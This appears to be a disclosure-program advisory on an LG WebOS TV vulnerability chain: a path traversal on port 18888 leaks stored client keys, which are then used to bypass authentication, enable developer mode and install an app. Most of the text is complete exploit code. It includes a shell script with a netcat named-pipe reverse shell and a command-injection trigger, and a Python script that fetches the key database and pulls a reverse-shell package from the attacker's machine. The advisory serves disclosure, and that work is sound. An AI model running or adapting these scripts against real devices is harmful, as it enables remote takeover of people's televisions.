LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover

  • LG WebOS 43UT8050
Vendor Response

The vendor has issued an advisory SMR-SEP-2025, available at: https://lgsecurity.lge.com/bulletins/tv in regard to the below described vulnerability

Credit

The vulnerability was disclosed during our TyphoonPWN 2025 LG Category and won first place.

Vulnerability Details

The browser-service on WebOS TV opens port 18888 when a USB storage device is connected to the TV, allowing peer devices to download files from the /tmp/usb or /tmp/home.office.documentviewer directories via the /getFile?path=… API.

However, the application does not validate the path parameter, which allows arbitrary file downloads from the device without authentication.

By exploiting the path traversal vulnerability above, attackers can access the database file containing authentication keys of peer clients that have previously connected to the device at /var/db/main/. These keys can be used to bypass authentication for the secondscreen.gateway service.

Through the secondscreen service, the attacker can enable developer mode, install malicious applications, and ultimately take control of the device.

Exploitation

  1. Install Docker
  2. Stop any webserver service to free up port 80 on your machine
  3. Build the docker image:
    • docker image rm lgtv:v1
    • docker build --network=host ./ -t lgtv:v1
  4. Start a listen to provide a shell connect back endpoint
    • nc -l -v -n -p 4242
  5. Run the attack script:
    • docker run -t --network=host --rm lgtv:v1 sh -c "nginx ; python3 ./rootmytv.py -t 192.168.1.xx -r 192.168.1.xx"
    • -t : IP address of TV
    • -r : IP address of the attacking machine
# Dockerfile
FROM python:3.8
WORKDIR /usr/local/app
RUN apt-get update
RUN apt-get install -y nginx
# copy ipk to nginx dir
# Install the application dependencies
COPY ./src ./
COPY ./www /var/www/html/
RUN pip install --no-cache-dir -r ./requirements.txt
CMD ["bash"]
#!/bin/sh
# get_root.sh
remoteip=$1

cat << 'EOF1' > /tmp/remote_trigger.py
import socket
import time
import struct
import sys
import os
import threading
import ctypes
from ctypes.util import find_library
libc = ctypes.CDLL(find_library('c'))

def set_proc_name(name):
    libc.prctl(15, ctypes.c_char_p(name), 0, 0, 0)

proc_name = "blah-blah"
if len(sys.argv) > 1:
    proc_name = sys.argv[1]

set_proc_name(proc_name.encode("UTF-8"))

x = threading.Thread(target=time.sleep, args=(8600,))
x.start()

with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
    s.connect("/tmp/remotelogger")
    print("send")
    s.sendall(struct.pack('<L', x.native_id) + b'A'*0x80)
    print("recv")
    data = s.recv(4)
    print("kill")
    os.kill(x.native_id, 0x4)
EOF1

echo "
#!/bin/sh

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc $remoteip 23231 >/tmp/f 
exit 0
" > /tmp/xdg_e

chmod +x /tmp/xdg_e
python3 /tmp/remote_trigger.py '$(${XDG_DIR}_e)'
#!/usr/bin/python3
# rootmytv.py
from bscpylgtv import WebOsClient
from bscpylgtv import endpoints as ep
from aiohttp import web
import asyncio
import socket
import time
import requests
import os
import re
import json
import plyvel
from cursor import LGTVCursor

# import sqlite3
from sqlitedict import SqliteDict
import sys, getopt


class TV_LG:
    def __init__(self, ip):
        self.ip = ip
        self.tvdb_path = "./tvdb"
        try:
            os.mkdir(self.tvdb_path)
        except FileExistsError:
            pass

    def get_file(self, save_file_path, target_file_path):
        url = "http://{}:18888/getFile?path=/tmp/usb/../..{}".format(
            self.ip, target_file_path
        )
        print(target_file_path)
        r = requests.get(url)
        if r.status_code == 200:
            with open(save_file_path, "bw+") as f:
                f.write(r.content)
        else:
            # pass
            print("error code {} : {}".format(r.status_code, r.text))

    def get_keys(self):
        results = []
        if 0:
            print("get manifest file")
            self.get_file(self.tvdb_path + "/" + "CURRENT", "/var/db/main/CURRENT")
            manifest = ""
            with open(self.tvdb_path + "/" + "CURRENT", "r") as f:
                manifest = f.read().strip("\r\n")
            self.get_file(
                self.tvdb_path + "/" + manifest, "/var/db/main/{}".format(str(manifest))
            )

            print("get database file")
            self.get_file(self.tvdb_path + "/" + "LOG", "/var/db/main/LOG")
            self.get_file(self.tvdb_path + "/" + "LOG.old", "/var/db/main/LOG.old")
            dbindex = []
            with open(self.tvdb_path + "/" + "LOG", "r") as f:
                for line in f:
                    # print(line)
                    matches = re.findall(r"Generated table #(\d+)", line)
                    if len(matches) > 0:
                        dbindex = dbindex + matches

            with open(self.tvdb_path + "/" + "LOG.old", "r") as f:
                for line in f:
                    # print(line)
                    matches = re.findall(r"Generated table #(\d+)", line)
                    if len(matches) > 0:
                        dbindex = dbindex + matches
            print(dbindex)
            # db_files = ["/var/db/main/CURRENT", "/var/db/main/MANIFEST-000482", "000501.ldb", "000502.ldb", "000503.ldb", "000504.ldb", "000505.ldb"]
            for i in dbindex:
                self.get_file(
                    self.tvdb_path + "/" + "0" * (6 - len(str(i))) + "{}.ldb".format(i),
                    "/var/db/main/" + "0" * (6 - len(str(i))) + "{}.ldb".format(i),
                )

        ldb_dir = self.tvdb_path

        db = plyvel.DB(ldb_dir, create_if_missing=False)

        for key, value in db:
            key_str = key.decode("utf-8", errors="ignore")
            val_str = value.decode("utf-8", errors="ignore")

            # print(f"Key(raw): {key}")
            # print(f"Value(raw): {value}\n")
            if "READ_INSTALLED_APPS" in val_str:
                # if True:
                key = re.findall(r"\b[a-fA-F0-9]{32}\b", val_str)
                # print(key)
                # if key != '':
                results.append(key[0])
        print(results)
        return results


# Determine LAN IP using the source IP field of an outgoing connection
def get_lan_ip():
    try:
        # Create a socket object
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        # Use Google's public DNS server to determine the LAN IP
        s.connect(("8.8.8.8", 80))
        # Get the socket's own address
        ip = s.getsockname()[0]
        # Close the socket
        s.close()
        print(f"Using {ip} as LAN IP")
        return ip
    except Exception as e:
        print(f"Error: {e}")
        return None


STOP_SERVER = False
# HOST_IP = input("Enter your LAN IP address, or press ENTER to autodetect: ") or get_lan_ip()
HOST_IP = "192.168.1.188"
TV_IP = "192.168.1.56"
try:
    opts, args = getopt.getopt(sys.argv[1:], "ht:r:", ["target=", "remoteip="])
except getopt.GetoptError:
    print("exploit -t <target> -r <remoteip>")
    sys.exit(2)
for opt, arg in opts:
    if opt == "-h":
        print("exploit -t <target> -r <remoteip>")
        sys.exit()
    elif opt in ("-t", "--targetip"):
        TV_IP = arg
    elif opt in ("-r", "--remoteip"):
        HOST_IP = arg


def check_telnet():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)  # Timeout period in seconds
    end_time = time.time() + 15
    while time.time() < end_time:
        try:
            if sock.connect_ex((TV_IP, 23)) == 0:
                return True
        except socket.error:
            pass
        time.sleep(1)  # Wait for 1 second before checking again
    return False


async def handle(request):
    print("Served 404 response")
    return web.Response(text="OK")


FILE_DIR = "./www"


async def handle_download(request):
    filename = request.match_info.get("filename")
    file_path = os.path.join(FILE_DIR, filename)
    print(filename)
    if not os.path.isfile(file_path):
        return web.Response(text="File not found", status=404)

    return web.FileResponse(path=file_path)


async def main():
    tv = TV_LG(TV_IP)
    keys = tv.get_keys()
    db = SqliteDict(".aiopylgtv.sqlite", "unnamed")
    for key in keys:
        print(f"found key: {key}")
    print(f"sellect key {keys[0]} to exploit")
    db[TV_IP] = keys[0]
    db.commit()
    mycursor = LGTVCursor(name="mytv", key=keys[0], ssl=True, hostname=TV_IP)
    mycursor.connect()

    print("Connecting, make sure to allow the connection using the TV remote")
    client = await WebOsClient.create(TV_IP)
    try:
        await client.connect()
    except TimeoutError:
        print("Connection timed out, retrying...")
        await client.connect()
    finally:
        print("Connected to the TV")

    # enable dev mod
    sub_payload = {
        "enabled": True,
    }
    payload = {
        "id": "com.webos.app.firstuse-overlay",
        "params": {
            "target": "eula",
            "context": "eulaUpdate",
            "callback": {
                "onSuccess": {
                    "service": "luna://com.webos.service.devmode",
                    "method": "setDevMode",
                    "parameter": sub_payload,
                },
                "onClose": {
                    "service": "luna://com.webos.service.devmode",
                    "method": "setDevMode",
                    "parameter": sub_payload,
                },
            },
        },
    }
    ret = await client.request(ep.LAUNCH, payload)
    print(ret)
    await client.disconnect()
    await asyncio.sleep(1)
    time.sleep(10)
    # input("Press Enter to continue...")
    mycursor.execute(["back"])
    time.sleep(1)
    mycursor.close()
    print("wait tv reboot ....")
    time.sleep(5)
    is_online = False
    while is_online == False:
        print("...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result = sock.connect_ex((TV_IP, 18888))
        sock.close()
        if result == 0:
            is_online = True
        else:
            is_online = True
            time.sleep(1)

    # start new session
    mycursor = LGTVCursor(name="mytv", key=keys[0], ssl=True, hostname=TV_IP)
    mycursor.connect()
    client = await WebOsClient.create(TV_IP)
    try:
        await client.connect()
    except TimeoutError:
        print("Connection timed out, retrying...")
        await client.connect()
    finally:
        print("Connected to the TV again ....")
    # download file
    print(
        "start download ipk file at "
        + "http://{}/com.reverseshell.myapp_0.0.1_all.ipk".format(HOST_IP)
    )
    payload_dowload = {
        "target": "http://{}/com.reverseshell.myapp_0.0.1_all.ipk".format(HOST_IP),
        "targetDir": "/media/internal/downloads/",
        "targetFilename": "com.reverseshell.myapp_0.0.1_all.ipk",
    }

    payload = {
        "id": "com.webos.app.firstuse-overlay",
        "params": {
            "target": "eula",
            "context": "eulaUpdate",
            "callback": {
                "onSuccess": {
                    "service": "luna://com.webos.service.downloadmanager",
                    "method": "download",
                    "parameter": payload_dowload,
                },
                "onClose": {
                    "service": "luna://com.webos.service.downloadmanager",
                    "method": "download",
                    "parameter": payload_dowload,
                },
            },
        },
    }

    ret = await client.request(ep.LAUNCH, payload)
    print(ret)
    time.sleep(10)
    # input("Press Enter to continue...")
    mycursor.execute(["back"])
    time.sleep(10)
    # install app
    print("start install app")
    payload_installapp = {
        "id": "com.reverseshell.myapp",
        "ipkUrl": "/media/internal/downloads/com.reverseshell.myapp_0.0.1_all.ipk",
        "subscribe": True,
    }

    payload = {
        "id": "com.webos.app.firstuse-overlay",
        "params": {
            "target": "eula",
            "context": "eulaUpdate",
            "callback": {
                "onSuccess": {
                    "service": "luna://com.webos.appInstallService",
                    "method": "dev/install",
                    "parameter": payload_installapp,
                },
                "onClose": {
                    "service": "luna://com.webos.appInstallService",
                    "method": "dev/install",
                    "parameter": payload_installapp,
                },
            },
        },
    }
    ret = await client.request(ep.LAUNCH, payload)
    print(ret)
    time.sleep(10)
    # input("Press Enter to continue...")
    mycursor.execute(["back"])
    time.sleep(5)
    # launch app
    print("launch app ---------")
    payload = {"id": "com.reverseshell.myapp", "params": {"hostip": HOST_IP}}
    ret = await client.request(ep.LAUNCH, payload)
    print(ret)

    await asyncio.sleep(1)
    await client.disconnect()

    global STOP_SERVER
    STOP_SERVER = True


async def init_app():
    app = web.Application()
    app.router.add_get("/", handle)
    app.router.add_get("/{filename}", handle_download)
    return app


async def start_server():
    # app = await init_app()
    # runner = web.AppRunner(app)
    # await runner.setup()
    # site = web.TCPSite(runner, "0.0.0.0", 80)
    # await site.start()
    # print("Server has started.")
    asyncio.create_task(main())


async def main_wrapper():
    await start_server()
    while not STOP_SERVER:
        await asyncio.sleep(1)


if __name__ == "__main__":
    # with sqlite3.connect(".aiopylgtv.sqlite") as db:
    #     cursor = db.cursor()
    # cursor.execute('CREATE TABLE IF NOT EXISTS "unnamed" (key TEXT PRIMARY KEY, value BLOB)')
    # cursor.execute('INSERT OR REPLACE INTO "unnamed" (key, value) VALUES (\'{}\', \'{}\')'.format(TV_IP,keys[0]))
    # db.commit()
    # exit ()
    asyncio.run(main_wrapper())

Researching IoT / Embedded Devices? Have a similar vulnerability you are looking to share? Let’s get the conversation going!
SSD commits to the best payouts in the industry, easy and fast submission process and the option to stay completely anonymous.

Since 2007, SSD Secure Disclosure has been helping security researchers turn their findings into thriving careers.
Explore our constantly expanding product scope – updated monthly with new products and vendors.

?

Get in touch

Skip to content